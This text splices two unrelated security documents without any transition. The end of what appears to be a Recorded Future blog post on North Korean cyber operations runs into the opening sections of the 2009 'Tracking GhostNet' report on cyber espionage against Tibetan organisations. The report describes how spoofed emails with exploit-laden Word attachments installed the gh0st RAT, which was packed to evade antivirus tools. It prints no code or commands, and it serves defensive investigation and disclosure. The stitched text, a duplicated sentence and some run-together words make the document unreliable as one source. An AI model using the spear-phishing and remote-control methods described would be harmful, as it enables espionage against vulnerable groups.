8/9 http://www.dailynk.com/english/read.php?cataIdnk00100num484 http://nautilus.org/wp-content/uploads/2012/09/0605Chestnut1.pdf https://www.theguardian.com/world/2011/dec/21/sean-garland-escapes-extradition-us http://www.washingtontimes.com/news/2009/jun/02/n-korea-general-tied-to-forged-100-bills/ http://www.nytimes.com/2007/01/18/world/asia/18iht-north.4255039.html http://nautilus.org/napsnet/napsnet-policy-forum/the-north-korean-criminal-state-its-ties-to-organized-crime-and-the-possibility-of-wmd-proliferation/ https://www.merriam-webster.com/dictionary/casus belli https://scholarsbank.uoregon.edu/xmlui/bitstream/handle/1794/17967/Poche.pdfsequence1 https://www.recordedfuture.com/wannacry-ransomware-analysis/ https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group https://securelist.com/wannacry-and-lazarus-group-the-missing-link/78431/ In this context, as a nation that is under immense international financial and political pressure and one that employs these types of policies and strategies, Recorded Future believes that North Korean cyber operations (with the goal of acquiring hard currency) will continue for at least the short to medium term (one to three years).
Additionally, destructive cyber operations against the South Korean government and commercial entities will persist over this same term and likely expand to Japanese or Western organizations if U.S. and North Korea tensions remain high.
The cyber threat environment and military strategy framed above indicate that companies in several major economic sectors should increase monitoring of North Korean cyber activity.
Financial services firms must remain constantly vigilant to exploitation of their SWIFT connections and credentials, possible destructive malware attacks and DDoS, and threats to customer accounts and data.
Companies in the government contracting and defense sectors, especially companies that support the Terminal High Altitude Area Defense (THAAD)  system deployment as well as U.S. or South Korean operations on peninsula, should be aware of the heightened threat environment to their networks and operations on the Korean peninsula.
Energy and media companies, particularly those located in or that support these sectors in South Korea, should be alert to a wide range of cyber activity from North Korea, including DDoS, destructive malware, and ransomware attacks.
Broadly, organizations in all sectors should continue to be aware of the adaptability of ransomware and modify their cyber security strategies as the threat evolves.
This is part one of a two-part series on North Korea.
In part two, we will examine patterns of behavior and internet activity from North Korea, including the widespread use of virtual private servers (VPS) and virtual private networks (VPN) to obfuscate browsing, internet transactions, and other, possibly malicious, activity.
9/9 https://missilethreat.csis.org/system/thaad/ North Korea Is Not Crazy The Recorded Future Blog Background Analysis Note Blue House Raid 1983 Rangoon Bombing Korean Air Flight 858 Bombing Transition to Criminality Illegal Drug Manufacturing and Smuggling Counterfeiting A History of Denial Impact
JR02-2009 Information Warfare Monitor Tracking GhostNet: http://www.infowar-monitor.net/ghostnet http://www.tracking-ghost.nett Investigating a Cyber Espionage Network March 29, 2009 March 29, 2009 Foreword Cyber espionage is an issue whose time has come.
In this second report from the Information Warfare Monitor, we lay out the findings of a 10-month investigation of alleged Chinese cyber spying against Tibetan institutions.
The investigation, consisting of fieldwork, technical scouting, and laboratory analysis, discovered a lot more.
The investigation ultimately uncovered a network of over 1,295 infected hosts in 103 countries.
Up to 30 of the infected hosts are considered high-value targets and include computers located at ministries of foreign affairs, embassies, international organizations, news media, and NGOs.
The Tibetan computer systems we manually investigated, and from which our investigations began, were conclusively compromised by multiple infections that gave attackers unprecedented access to potentially sensitive information.
But the study clearly raises more questions than it answers.
From the evidence at hand, it is not clear whether the attacker(s) really knew what they had penetrated, or if the information was ever exploited for commercial or intelligence value.
Some may conclude that what we lay out here points definitively to China as the culprit.
Certainly Chinese cyber-espionage is a major global concern.
Chinese authorities have made it clear that they consider cyberspace a strategic domain, one which helps redress the military imbalance between China and the rest of the world (particularly the United States).
They have correctly identified cyberspace as the strategic fulcrum upon which U.S. military and economic dominance depends.
But attributing all Chinese malware to deliberate or targeted intelligence gathering operations by the Chinese state is wrong and misleading.
Numbers can tell a different story.
China is presently the worlds largest Internet population.
The sheer number of young digital natives online can more than account for the increase in Chinese malware.
With more creative people using computers, its expected that China (and Chinese individuals) will account for a larger proportion of cybercrime.
Likewise, the threshold for engaging in cyber espionage is falling.
Cybercrime kits are now available online, and their use is clearly on the rise, in some cases by organized crime and other private actors.
Socially engineered malware is the most common and potent it introduces Trojans onto a system, and then exploits social contacts and files to propagate infections further.
Furthermore, the Internet was never built with security in mind.
As institutions ranging from governments through to businesses and individuals depend on 24-hour Internet connectivity, the opportunities for exploiting these systems increases.
JR02-2009 Tracking GhostNet - FOREWORD Ron Deibert, Director, the Citizen Lab, Munk Centre for International Studies, University of Toronto.
JR02-2009 Tracking GhostNet - FOREWORD Rafal Rohozinski, Principal and CEO, The SecDev Group, Ottawa, Canada.
This report serves as a wake-up call.
At the very least, a large percentage of high-value targets compromised by this network demonstrate the relative ease with which a technically unsophisticated approach can quickly be harnessed to create a very effective spynetThese are major disruptive capabilities that the professional information security community, as well as policymakers, need to come to terms with rapidly.
These are major disruptive capabilities that the professional information security community, as well as policymakers, need to come to terms with rapidly.
JR02-2009 Tracking GhostNet - ACKNOWLEDGEMENTS Acknowledgements This investigation was prepared by a dedicated team of professionals.
Greg Walton conducted and coordinated the primary field-based research in India, Tibetan Missions abroad, and Europe.
Greg is a SecDev Group associate and editor of the Information Warfare Monitor website.
He is currently a SecDev Fellow at the Citizen Lab.
The Indian portion of the field work benefited from the expertise of Dr. Shishir Nagaraja, Security Laboratory, Cambridge University.
Dr. Nagaraga visited Dharamsala for a period of five days in September to assist on aspects of the technical data collection.1 The technical scouting and computer network interrogation was carried out by Nart Villenueve.
Nart is the CTO of Psiphon Inc, and the Psiphon Fellow at the Citizen Lab.
His investigations included the discovery and exploration of the GhostNet control servers.
He led the data analysis research, which included log files gathered in the field, as well as data obtained through technical scouting of the GhostNet control servers.
This report represents a collective effort.
The drafting team consisted of the following individuals (listed in alphabetical order).
Ronald Deibert (Citizen Lab), Arnav Manchanda (SecDev Group), Rafal Rohozinski (SecDev Group and Psiphon Inc.), Nart Villeneuve (Psiphon Fellow, Citizen Lab) and Greg Walton (SecDev Fellow, Citizen Lab).
Layout and design was led by Jane Gowan (Psiphon Inc. and Citizen Lab).
Belinda Bruce (Blurb Media) and James Tay (Citizen Lab), provided additional support to the team.
Countless others also contributed to the research effort.
This includes individuals in India and Tibet, who for security reasons we cannot name.
We are also grateful to the Private Office of his Holiness the Dalai Lama, the Tibetan Government-in-Exile, the missions of Tibet in London, Brussels, and New York, and Drewla (a Tibetan NGO).
1 Aspects of the research carried out by Dr. Nagaraga  focusing on socially engineered malware are published in a separate study.
See, The snooping dragon: social-malware surveillance of the Tibetan movement, Shishir Nagaraja, Ross Anderson, Cambridge University Computer Laboratory Technical Report, Mar 29 2009 JR02-2009 Tracking GhostNet - TABLE OF CONTENTS Summary  p. 5 Introduction  p. 7 Rise of the cyber spies  p. 7 A focus on China  p. 9 Outline of Report  p. 9 Part One: Context and background  p. 10 Alleged Chinese operations in cyberspace  p. 11 Applying the evidence-based approach to cyber attacks: the challenge of attribution  p. 12 Targeting Tibet  p. 13 Conduct of the investigation  p. 14 Phase 1: Field investigation  p. 14 Phase 2: Identifying command and control servers  p. 14 Part Two: Tracking Ghostnet  p. 16 Phase I: Field investigation  p. 17 Targeted malware  previous research  p. 17 Information Warfare Monitor field research  p. 22 Office of His Holiness the Dalai Lama  p. 22 Tibetan Government-in-Exile  p. 27 Offices of Tibet  p. 27 Drewla  p. 27 Phase 2: Identifying command and control servers  p. 30 List of infected computers  p. 32 Sending commands  p. 34 Command results  p. 37 Methods and capabilities  p. 39 Analysis of list of infected computers  p. 40 Methodology  p. 40 Selected infections  p. 42 Infection timeline  p. 44 Part Three: Investigating GhostNet: Conclusions  p. 46 Alternative explanations  p. 47 Attribution  p. 48 The significance of GhostNet  p. 49 Part Four: About the Information Warfare Monitor  p. 51 Boxes Box 1: Chinese Internet SIGINT in practice  p. 28 Tables Table 1: Domain name registration information  p. 32 Table 2: List of selected infections  p. 42 Figures Fig.
1: A Social Engineering attack connects to GhostNet  p. 19 Fig.
2: A Socially Engineered email sent to the International Tibet Support Network  p. 20 Fig.
3: A Virus Total Screen Capture of a malware infected email attachment  p. 21 Fig.
4: Field researchers discovered malware at five Tibetan locations  p. 23 Fig.
5: Malware retrieving a sensitive document  p. 26 Fig.
6: The OHHDL and Drewla were infected by the same malware  p. 29 Fig.
7: The GhostNet control servers  p. 31 Fig.
8: The GhostNet Server List interface  p. 33 Fig.
9: The GhostNet Send Command interface  p. 35 Fig.
10: The gh0st RAT interface  p. 36 Fig.
11: The GhostNet List Command interface  p. 38 Fig.
12: The geographic location of infected hosts  p. 41 Fig.
13.
GhostNet infection timeline  p. 45 5JR02-2009 Tracking GhostNet - SUMMARY Summary Trojan horse programmes and other associated malware are often cited as vectors for conducting sophisticated computer-based espionage.
Allegations of cyber espionage (computer network exploitation) are increasingly common, but there are few case studies in the unclassified realm that expose the inner workings of such networks.
This study reveals the existence and operational reach of a malware-based cyber espionage network that we call GhostNet.
Between June 2008 and March 2009 the Information Warfare Monitor conducted an extensive and exhaustive two-phase investigation focused on allegations of Chinese cyber espionage against the Tibetan community.
We conducted field-based investigations in India, Europe and North America.
In India we worked directly with affected Tibetan organizations, including the Private Office of the Dalai Lama, the Tibetan Government-in-Exile, and several Tibetan NGOs.
In Europe and North America we worked with Tibetan missions in London, Brussels, and New York.
The fieldwork generated extensive data that allowed us to examine Tibetan information security practices, as well as capture real-time evidence of malware that had penetrated Tibetan computer systems.
During the second phase of our investigation, the data was analyzed, and led to the discovery of insecure, web-based interfaces to four control servers.
These interfaces allow attacker(s) to send instructions to, and receive data from, compromised computers.
Our research team successfully scouted these servers, revealing a wide-ranging network of compromised computers.
This extensive network consists of at least 1,295 infected computers in 103 countries.
Significantly, close to 30 of the infected computers can be considered high-value and include the ministries of foreign affairs of Iran, Bangladesh, Latvia, Indonesia, Philippines, Brunei, Barbados and Bhutan embassies of India, South Korea, Indonesia, Romania, Cyprus, Malta, Thailand, Taiwan, Portugal, Germany and Pakistan the ASEAN (Association of Southeast Asian Nations) Secretariat, SAARC (South Asian Association for Regional Cooperation), and the Asian Development Bank news organizations and an unclassified computer located at NATO headquarters.
The GhostNet system directs infected computers to download a Trojan known as gh0st RAT that allows attackers to gain complete, real-time control.
These instances of gh0st RAT are consistently controlled from commercial Internet access accounts located on the island of Hainan, Peoples Republic of China.
Our investigation reveals that GhostNet is capable of taking full control of infected computers, including searching and downloading specific files, and covertly operating attached devices, including microphones and web cameras.
The vector for spreading the GhostNet infection leverages social means.
Contextually relevant emails are sent to specific targets with attached documents that are packed with exploit code and Trojan 6JR02-2009 Tracking GhostNet - SUMMARY horse programmes designed to take advantage of vulnerabilities in software installed on the targets computer.
Once compromised, files located on infected computers may be mined for contact information, and used to spread malware through e-mail and document attachments that appear to come from legitimate sources, and contain legitimate documents and messages.
It is therefore possible that the large percentage of high value targets identified in our analysis of the GhostNet are coincidental, spread by contact between individuals who previously communicated through e-mail.
Nonetheless the existence of the GhostNet network is a significant fact in and of itself.
At the very least, it demonstrates the ease by which computer-based malware can be used to build a robust, low- cost intelligence capability and infect a network of potentially high-value targets.
Key findings: Documented evidence of a cyber espionage network GhostNetinfecting at least 1,295 computers in 103 countries, of which close to 30 can be considered as high-value diplomatic, political, economic, and military targets.
Documented evidence of  GhostNet penetration of computer systems containing sensitive and secret information at the private offices of the Dalai Lama and other Tibetan targets.
Documentation and reverse engineering of the  modus operandi of the GhostNet systemincluding vectors, targeting, delivery mechanisms, data retrieval and control systemsreveals a covert, difficult-to-detect and elaborate cyber-espionage system capable of taking full control of affected systems.
7JR02-2009 Tracking GhostNet - INTRODUCTION Introduction Computer network exploitation represents the leading edge of signals intelligence in the information age.
The proliferation of computer systems throughout governments, businesses, and civic organizations represents a boon for would-be cyber spies.
Awareness of cyber vulnerabilities, and even basic information security practices, is in its infancy, and largely absent in most organizations outside of the classified realm.
Commercial computer systems, which represent most of the worlds installed base, are insecure.
This lack of security consciousness is reflective of the infancy of the information age.
The Internet was never designed for security and, for the most part, there has been little incentive for software manufacturers to make security a first priority in the design and development of products, many of which are destined for consumer and/or small business use.
These challenges are present in advanced industrial societies, but are amplified many times over in developing countries.
Ownership of computers is a relative rarity among many government departments.
Where they exist, they often use grey market or pirated software.
Resources are lacking to employ properly trained computer professionals, and many staff are barely computer literate.
In this context, information security is often a distant priority.
And yet, computers in the hands of individuals or at government offices, ministries, embassies, and civic and non-governmental organizations contain information that can be valuable.
Files and e-mails with contact information, lists of meetings and attendees, draft position papers, internal PowerPoint presentations, organizational budgets, and lists of visitors can represent items of strategic value to rivals and enemies.
Organizations, like individuals, can be subject to identity theft, leading to potentially serious breaches of security.
Rise of the cyber spies Little is known of the sophistication of state-based cyber espionage capabilities, such as those of the United States, Israel, and the United Kingdom, all considered leaders in this field.
They are assumed to be considerable as the security doctrines of these countries treat cyberspace as a strategic domain equivalent to that of land, air, sea, and space.2 Other powers including China have made cyberspace a key pillar of their national security strategies.
China is actively developing an operational capacity in cyberspace, correctly identifying it as the domain in which it can achieve strategic parity, if not superiority, over the military establishments of the United States and its allies.
Chinese cyber warfare doctrine is well developed, and significant resources have been invested by the Peoples Liberation Army and security services in developing defensive and offensive capabilities.3 2 http://www.dod.mil/pubs/foi/ojcs/07-F-2105doc1.pdf  http://www.afa.org/media/reports/victorycyberspace.pdf 3 http://findarticles.com/p/articles/mi_m0PBZ/is_6_88/ai_n31140190  http://www.infowar-monitor.net/modules.php?opmodload nameArchivefileindexreqviewarticleartid2page1 8JR02-2009 Tracking GhostNet - INTRODUCTION But the most significant actors in cyberspace are not states.
The online engagements that accompanied the recent Russia-Georgia conflict in August 20084 and Israels January 2009 offensive in Gaza5 were carried out by independent attackers.
The May 2007 denial of service attacks against Estonia6 resulted in a single conviction of a Russian living in Estonia.
Likewise, previous high-profile investigations of hacking against strategic U.S. targets were never positively attributed to foreign intelligence services7, and in many cases were the work of individuals.8 The contest in the shadows currently underway in cyberspace appears to rely largely on third parties.
In numerous instances, including case studies conducted by the Information Warfare Monitors sister project, the OpenNet Initiative, third party attackers were responsible for triggering national-level cyber events.
In Kyrgyzstan (2005)9, Belarus (2006)10, during the Russia Georgia war (2008), and Kyrgyzstan (2009), individuals and/or loose coalitions were responsible for publishing target lists and attack tools on semi-private websites.
The ensuing cyclones in cyberspace were sufficient to precipitate events outside of cyberspace.11 International cooperation has for the most part focused on establishing capabilities for counteracting the criminal use of cyberspace, and with good reason.
In 2009, the FBI estimated that cybercrime is responsible for over 10 billion worth of losses each year.12 Cybercrime is a relatively low cost, low threshold activity.
Techniques such as phishing and targeted malware are easy to construct, and the chances of prosecution are minimal given a general lack of international coordination.
This is slowly changing as national and international authorities become more aware of the threat.
The attacks on Estonia, for example, led to the establishment of NATOs Cooperative Cyber Defence Centre of Excellence in Tallinn, Estonia.13 The International Telecommunication Union has also established its own specialized agency, IMPACT, designed to aid intelligence sharing and tracking of 4 http://blog.wired.com/defense/2008/10/government-and.html  http://www.slate.com/id/2197514 5 http://www.csmonitor.com/2009/0123/p04s03-wome.html 6 http://www.webpronews.com/topnews/2008/01/24/man-convicted-in-estonia-cyber-attack 7 For example, a US government investigation of systematic hacking of Department of Defense networks and defence laboratories dubbed Titan Rain never provided conclusive evidence to substantiate allegations that the hacking was conducted at the behest of the Chinese government.
http://www.time.com/time/magazine/article/0,9171,1098961,00.html 8 A good example is the 1998 Solar Sunrise investigation.
The evidence gathered by US authorities eventually led to the conviction of an Israeli citizen, Ehud Tenebaum, although the involvement of Israeli security services was never proven.
http://www.sans.org/ resources/idfaq/solar_sunrise.php 9 http://opennet.net/special/kg/ 10 http://opennet.net/sites/opennet.net/files/ONI_Belarus_Country_Study.pdf 11 http://www.infowar-monitor.net/modules.php?opmodloadnameNewsfilearticlesid2146 12 http://kn.theiet.org/magazine/issues/0903/hacking-goes-pro-0903.cfm 13 http://www.nato.int/docu/update/2008/05-may/e0514a.html 9JR02-2009 Tracking GhostNet - INTRODUCTION malicious criminal activity in cyberspace.14 Countries such as the United States, Russia and China have also entered into bilateral agreements with allied countries and partners.
A focus on China Recent allegations of Chinese cyber espionage largely rely on anecdotal evidence.
The most common proof provided by victims of these attacks consists of log files or malware that shows connections being made by infected computers to IP addresses assigned to the Peoples Republic of China.
This kind of evidence is circumstantial at best.
Internet usage statistics suggest that focusing on Chinese instances of information warfare is misleading.15 With 41 of the worlds Internet users located in Asia, China alone accounts for the largest national population of Internet userssome 300 million, nearly one-fifth of the global number of users.
Coupled with the rapid growth in Chinese use of the Interneta 1,200 increase in the period 2000-2008this would more than account for the rise in instances of Chinese-oriented malware.16 At the same time, however, allegations of Chinese hacking and exploitation of private and government computer systems are persistent enough to warrant an evidence-based investigation.
This report provides such an investigation.
Outline of report This report is divided into three parts: Part one provides a brief introduction to the context and background to this report.
We examine past allegations of cyber espionage by China-based actors and the challenge of evidence-based research in this field.
Part one concludes with a brief description of the methods used in our two-phase investigation.
Part two provides a detailed account of the conduct of our investigation.
The findings of each phase are presented sequentially.
Part three analyses the overall findings of the investigation, suggests alternative explanations and assesses the implications.
14 http://www.itu.int/osg/csd/cybersecurity/gca/impact/index.html 15 For global Internet usage statistics please see http://www.internetworldstats.com 16 http://blog.stopbadware.org/2009/03/03/wheres-the-badware PART ONE: Context and background 11JR02-2009 Tracking GhostNet - PART ONE Context and background: Alleged Chinese operations in cyberspace China has been developing its cyberspace doctrine and capabilities since the late 1990s as part of its military modernization programme.
The Chinese doctrine of active defence, which is the belief that China must be ready to respond to aggression immediately, places an emphasis on the development of cyber warfare capabilities.
The Chinese focus on cyber capabilities as part of its strategy of national asymmetric warfare involves deliberately developing capabilities that circumvent U.S. superiority in command-and-control warfare.
The strategy recognizes the critical importance of the cyber domain to American military and economic power and the importance of offensive cyber operations to victory in a modern conflict with the United States.
Chinese doctrine also emphasizes the contiguity between military and non-military realms.17 In recent years, there has been an increase in allegations that China-based hackers are responsible for high-level penetrations of computer systems in Europe, North America and Asia.
Attackers originating in China have been accused of infiltrating government computers in the United States, Britain, France, Germany, South Korea, and Taiwan.
China-based hackers have been accused of data theft from foreign government computers and commercial and financial institutions.
The U.S. Department of Defense reports it is continuously targeted by Chinese attackers, most notably in the series of attacks since 2003 known as Titan Rain, which targeted the Department of Defense and numerous defence companies.18 There are also allegations of attacks originating from China directed against non-governmental organizations active in regions where China has a national interest.
This includes organizations advocating on the conflict in the Darfur region of Sudan,19 Tibetan groups active in India, and the Falun Gong.
The majority of attacks involve website defacements, denial of service attacks, or virus writing campaigns.
Nationalistic and patriotic cyber-activity by Chinese nationals intensifies during crises, such as during Sino-American or Sino-Taiwanese tensions (see below).
To date none of these attacks have been traced back to Chinese state authorities or specific individuals, although many have benefited official Chinese policy and interests.
17 http://findarticles.com/p/articles/mi_m0PBZ/is_6_88/ai_n31140190  http://www.infowar-monitor.net/modules.php?opmodloadna meArchivefileindexreqviewarticleartid2page1  http://www.heritage.org/Research/asiaandthepacific/upload/bg_2106.pdf 18 http://www.time.com/time/magazine/article/0,9171,1098961,00.html  http://findarticles.com/p/articles/mi_m0PBZ/is_6_88/ ai_n31140190  http://www.afa.org/media/reports/victorycyberspace.pdf 19 http://www.insidetech.com/news/articles/1630-mysterious-forces-hack-pro-tibet-save-darfur-sites  http://www.washingtonpost.
com/wp-dyn/content/article/2008/03/20/AR2008032003193.html 12JR02-2009 Tracking GhostNet - PART ONE Applying the evidence-based approach to cyber attacks: the challenge of attribution Determining those responsible for cyber attacks, commonly known as the attribution problem, is a major challenge.
The Internet was never built with security as a priority.
The current version of the Internets address assignment system, IP V4, provides a wealth of loopholes and methods by which a perpetrator can mask his or her real identity and location.
Online identities and servers can be cleverly hidden.
Packet flows and connections can be masked and redirected through multiple servers.
A clever attacker can often hijack a machine belonging to an otherwise innocent organization and use it as a base for launching attacks.
Hand-in-hand with the problem of attribution is the difficulty of identifying motivating factors behind a cyber attack.
Many perpetrators of Internet-based attacks and exploits are individuals whose motivation can vary from a simple profit motive through to fear of prosecution or strong emotional feelings, including religious belief and nationalism.
Many cyber attacks and exploits which seem to benefit states may be the work of third-party actors operating under a variety of motivations.
This makes it difficult to separate the motivation of the individual from the potential motives of the party on whose behalf the attacks have occurred, or a prospective client to which the perpetrator is trying to market his or her wares.
In either case, the challenge of identifying perpetrators and understanding their motives gives state actors convenient plausible deniability and the ability to officially distance themselves from attacks.
Cyber campaigns can also take on a life of their own.
Even though a state might seed a particular campaign through tacit encouragement or the absence of sanctions or prosecutions, these campaigns are inherently chaotic and unpredictable in scope and outcome.20 Phenomena such as spontaneous cyber rioting can surpass the initial purposes of the cyber campaign.
Low barriers to entry to this sort of activity enable anyone with a computer and Internet connection to take part in a cyber- attack.21 For the most part, governments appear to passively benefit from online manifestations of nationalistic and patriotic fervour, although outcomes are inherently unpredictable.22 In China, the authorities most likely perceive individual attackers and their online activities as convenient instruments of national power.23 A favourite target of Chinese hackers is Taiwanese computer systems, especially during times of Sino-Taiwanese tensions, such as elections and 20 http://www.yorku.ca/robarts/projects/canada-watch/obama/pdfs/Deibert.pdf 21 http://worldanalysis.net/modules/news/article.php?storyid343 22 For instance, during the Russia-Georgia conflict in August 2008, tools were made available online for those who wished to participate in the ongoing cyber-war against Georgian websites.
http://blog.wired.com/defense/2008/10/government-and.html http://www.slate.com/id/2197514 23 http://findarticles.com/p/articles/mi_m0PBZ/is_6_88/ai_n31140190  http://fmso.leavenworth.army.mil/documents/Beijings- rising-hackers.pdf 13JR02-2009 Tracking GhostNet - PART ONE referendums.24 In April 2001, following the death of a Chinese fighter pilot after a collision with an American spy plane near the Chinese island of Hainan, Chinese hackers began a sustained campaign to target American computer networks.
No link was made with elements of the Chinese government.25 However, governments cannot always preserve direct control over such activities groups can maintain their freelance and autonomous status and undertake their own cyber initiatives that may not always attain official sanction or serve state interests.26 Targeting Tibet Accusations of Chinese cyber war being waged against the Tibetan community have been commonplace for the past several years.
The Chinese government has been accused of orchestrating and encouraging such activity as part of a wider strategy to crack down on dissident groups and subversive activity.27 Earlier research has traced these attacks against Tibetan groups to IP addresses registered in the Peoples Republic of China.
The attacks used malware hidden in legitimate-looking email messages, infecting unsuspecting users computers and exploiting the data on it by sending it to control servers.28 The identity of the attackers has never been attributed in a conclusive manner to any specific group or individual.29 The motivation of those behind the attacks, despite conjecture, is also unproven.
In earlier studies, researchers focused on attacks specifically targeting the Tibetan community.
But a wide variety of other victims of computer penetrations have reported infections similar to those used against Tibetan organizations, following a similar modus operandi and also reporting to control servers usually located in China.
These additional targets include the Falun Gong30, the U.S. Government, and multinational corporations.31 While reports of these targeted attacks have circulated, the extent to which attackers successfully exploited the affected computers is unknown.
24 http://fmso.leavenworth.army.mil/documents/Beijings-rising-hackers.pdf 25 http://news.bbc.co.uk/2/hi/americas/1305755.stm 26 http://fmso.leavenworth.army.mil/documents/Beijings-rising-hackers.pdf 27 http://www.washingtonpost.com/wp-dyn/content/article/2008/03/21/AR2008032102605.html 28 See, http://isc.sans.org/diary.html?storyid4177  http://isc.sans.org/diary.html?storyid4176 and http://archive.cert.uni-stuttgart.
de/isn/2002/09/msg00086.html for background information on these attacks.
29 Attribution for previous penetrations of Tibetan groups has never been publicly attributed and is not available from open sources.
Classified studies may reveal a finer grained detail, as many of the attacks are relatively unsophisticated, and given proper assets, could be traced back to specific locations and presumably individuals.
30 Research by Maarten Van Horenbeeck shows that similar attacks have targeted the Falun Gong.
http://www.daemon.be/ maarten/Crouching_Powerpoint_Hidden_Trojan_24C3.pdf and http://isc.sans.org/presentations/SANSFIRE2008-Is_Troy_Burning_ Vanhorenbeeck.pdf 31 See http://www.businessweek.com/print/magazine/content/08_16/b4080032218430.htm 14JR02-2009 Tracking GhostNet - PART ONE Conduct of the investigation From June 2008 to March 2009 the Information Warfare Monitor conducted an in-depth investigation of alleged cyber espionage against the Tibetan community.
We chose this case study because of the unprecedented access that we were granted to Tibetan institutions through one of our researchers, and persistent allegations that confidential information on secure computers was somehow being compromised.
Our lead field investigator had a long history of working with the Tibetan community, and was able to work with the private office of the Dalai Lama, the Tibetan Government-in-Exile, and a number of Tibetan non-governmental organizations.
The investigation consisted of two distinct phases.
Phase 1: Field-based investigations in India, Europe, and North America (June-November 2008) Field research was carried out in Dharamsala, India, the location of the Tibetan Government-in-Exile.
Follow-up research was conducted at Tibetan missions abroad in London, Brussels and New York.
During this phase we had unprecedented access to the Tibetan government and other Tibetan organizations.
This allowed us to establish a baseline understanding of information security practices at these locations and to design an evidence-based approach to the investigation.
We also conducted extensive on-site interviews with officials in the Tibetan Government-in-Exile, the private office of the Dalai Lama, and Tibetan non-governmental organizations.
The interviews focused on the allegations of cyber espionage.
We also sought alternative explanations for leakage of confidential documents and information and examined basic information security practices at these locations.
Network monitoring software was installed on various computers so as to collect forensic technical data from affected computer systems, and initial results were analysed in situ.32 This initial analysis confirmed the existence of malware and the transfer of information between infected computers and a number of control servers.33 Phase 2: Computer-based scouting, target selection, and data analysis (December 2008-March 2009) During the second phase of the investigation, researchers based at the Citizen Lab analysed the data collected by the field team.
The data collected in Dharamsala and at Tibetan missions abroad led to the discovery of four control servers and six command servers.
These control servers were identified and geo-located from the captured 32 A portion of the fieldwork was carried out in conjunction with Dr. Shishir Nagaraja who spent five days in Dharamsala at the request of IWM researchers and assisted in conducting technical tests.
33 A packet capturing program, Wireshark, was installed at each test location.
All traffic from each of the affected systems was captured in real-time, and recorded for further analysis.
Compromised systems try to connect to control servers in order check-in and report an infection.
Once a connection is made, infected computers may receive instructions or additional locations from where they are to download instructions.
The Wireshark data is sufficient to analyse these connections, determine the behaviour of the attack vector, and identify the location of control servers.
15JR02-2009 Tracking GhostNet - PART ONE traffic using a simple IP lookup.34 The control servers were then probed and web-based control interfaces were identified on four control servers, which allowed us to view and control the network.
The system was actively monitored for two weeks, which allowed us to derive an extensive list of infected systems, and to also monitor the systems operator(s) as the operator(s) specifically instructed target computers.
The data collected during both phases was integrated in Palantir, a data visualization and analysis tool.
The Palantir platform provides a data fusion and visualization environment that enhances analytical capabilities.
34 We looked up the associated Internet Protocol (IP) address in all five Regional Internet Registries in order to identify the country and network to which the IP address is assigned.
We then performed a reverse Domain Name System (DNS) look-up on each IP address.
DNS is the system that translates domain names into IP addresses reverse DNS is a system that translates an IP address into a domain name.
This can potentially provide additional information about the entity that has been assigned a particular IP address.
If we discovered a domain name, we then looked up its registration in WHOIS, which is a public database of all domain name registrations and provides information about who registered the domain name.
PART TWO: Tracking GhostNet 17 Phase 1: Field investigation We conducted our investigation in Dharamsala between July and September 2008.
The initial purpose was to gather targeted malware samples from Tibetan NGOs based in the area and to brief the Tibetan Government-in-Exile (TGIE) on the basics of information security.
This included raising end-user awareness about social engineering and its policy implications for the secure use of information systems.
The investigator met with the Dalai Lamas representative in Geneva, Tseten Samdup.
During the meeting, Samdup inquired about the potential threat to computer security at the Office of His Holiness the Dalai Lama (OHHDL) in light of the targeted malware threat.
Samdup requested that the investigator perform a preliminary security review of OHHDL systems, including Dalailama.com and the office computer network.
A five day mission was scheduled in early September.
Malware was discovered on computers located in the OHHDL.
Following the discovery of malware in the OHHDL, our investigator shifted focus to the campus network of the Tibetan Government-in-Exile.
We approached Thubten Samphel, a senior civil servant in the Department for Information and International Relations, and sought permission to run Wireshark on several key computer systems, and to access the firewall logs at the Tibetan Computing Resource Centre.
This access was readily granted.
Additional testing was carried out at a Tibetan NGO.
This was done at the suggestion of Phuntsok Dorjee, the director of a local NGO, TibTec.
Dorjee suggested that we conduct testing and monitoring at the offices of Drewla.35 As was the case at other sitesthe investigator conducted a series of interviews with the NGO staff.
Targeted malware  previous research In September 2002, Tibetan groups reported that they were targeted with malware originating from servers in mainland China.
They claimed that this was a coordinated attempt to disrupt their operations and spy on their computer networks.
Similar attacks have occurred since then against a range of Tibetan non-state actors, including exile groups, human rights organizations, trade unions and labour organizers, writers, scholars and intellectuals.
In 2005, a member of our investigating team convened a working group that coordinated the collection and archiving of the malware, including the payloads and associated examples of social engineering employed.
Since early 2008, we have analysed every sample available to us, and identified control servers for at least fifty incidents.
During an analysis of attacks which occurred during the 2008 Beijing Olympics we discovered the location of a control server that was later identified as part of the network which infected a computer in the private office of the Dalai Lama.
35 The Drewla Initiative Project is an outreach model that seeks new ways to communicate directly with citizens of the Peoples Republic of China.
It relies heavily on the Internet.
JR02-2009 Tracking GhostNet - PART TWO 18 We were able to gain access to the command interface of this control server and identify the infected computers which reported back to this server.
While were are unable to prove exactly how the computer in the Dalai Lamas office became infected, this case demonstrates one of the attack vectors used by the attacker(s) behind the network of infected computers we later uncovered.36 The following steps illustrate the attack vector using the malicious document we collected, which was configured to connect to a control server to which we later acquired access.
(
See Fig.
1 - p.19) An email message arrives in the targets inbox carrying the malware in an attachment or web link.
The attackers(s) objective is to get the target to open the attachment or malicious link so that the malicious code can execute.
In this case, the attacker(s) sent a carefully crafted email message which was configured to appear as if it was sent from campaignsfreetibet.org with an attached infected Word document named Translation of Freedom Movement ID Book for Tibetans in Exile.doc to entice the recipient to open the file.37 (See Fig.
2 - p. 20) Over time, it has been observed that the carrier emails have become more sophisticated in their targeting and content in order to trick their recipients into believing that they are receiving legitimate messages.
This is also known as social engineering.
It is common to see legitimate documents recycled for such attacks or the attacker injecting their message into an ongoing group conversation.
There are also cases where it appears that content stolen from previously-infected machines was recycled to enhance the appearance of legitimacy.
The targeted user proceeds to opens the attachment or malicious link.
Once opened, the infected file or link exploits a vulnerability on the users machine and installs the malware on the users computer, along with a seemingly benign file.
From the users perspective, the infected document will often open normally, leaving the user unaware of the infection that just took place.
Only 11 of the 34 anti-virus programs provided by Virus Total38 recognized the malware embedded in the document.
Attackers often use executable packers to obfuscate their malicious code in order to avoid detection by anti-virus software.
(
See Fig.
3 - p. 21) Researchers monitoring the use of socially engineered malware attacks against the Tibetan community have identified over eight different Trojan families in use.39 Control over some targeted machines is maintained using the Chinese gh0st RAT (Remote Access Tool).
These Trojans generally allow for near-unrestricted access to the infected systems.
